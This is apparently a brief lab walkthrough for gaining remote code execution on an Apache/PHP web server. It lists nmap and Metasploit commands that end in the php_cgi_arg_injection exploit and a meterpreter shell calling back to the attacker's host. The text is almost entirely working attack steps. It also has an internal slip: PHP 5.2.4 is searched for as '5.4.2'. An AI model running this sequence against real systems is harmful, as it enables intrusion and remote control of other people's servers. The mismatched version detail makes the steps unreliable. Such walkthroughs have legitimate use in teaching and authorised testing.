Remote Code Execution on Web Server

1. Enumerate target on ports 80,443,8080 using nmap
   1. Nmap –sV 172.21.1.2 –p 80,443,8080
      * This will return that port 80 is open and running Apache httpd 2.2.8
2. Open up Metasploit Framework Console - You can gather more information by running an auxiliary scanner
   1. use auxiliary/scanner/http/http\_version
   2. show options
   3. run
      * This tells us that it’s Apache 2.2.8 with PHP 5.2.4. We can navigate to <http://172.21.1.2/phpinfo.php> to confirm
3. Search exploit-db for an exploit that targets Apache with this version of PHP
   1. $ searchsploit apache | grep 5.4.2
      * We get one result that allows remote code execution
4. Load the exploit. Payload will default to a meterpreter. Can change if needed
   1. use exploit/multi/http/php\_cgi\_arg\_injection
   2. set RHOST 172.21.1.2
   3. set LHOST <your public ip>
      * When the exploit executes successfully a meterpreter shell will be launched in the console which will run commands on the target web server. QED